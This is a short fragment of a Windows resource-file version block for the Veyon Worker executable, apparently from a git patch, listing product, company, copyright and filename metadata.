FILETYPE VFT_APP + FILESUBTYPE VFT2_UNKNOWN +BEGIN + BLOCK "StringFileInfo" + BEGIN + BLOCK "040904E4" + //language ID = U.S. English, charset = Windows, Multilingual + BEGIN + VALUE "Comments", "Virtual Eye On Networks (http://veyon.io)\0" + VALUE "CompanyName", "Veyon Solutions\0" + VALUE "FileDescription", "Veyon Worker\0" + VALUE "FileVersion", "@VERSION_STRING@\0" + VALUE "LegalCopyright", "Copyright (c) 2017-2019 Tobias Junghans\0" + VALUE "OriginalFilename", "veyon-worker.exe\0" + VALUE "ProductName", "Veyon\0" + VALUE "FileVersion", "@VERSION_STRING@\0" + END + END +END -- 2.30.2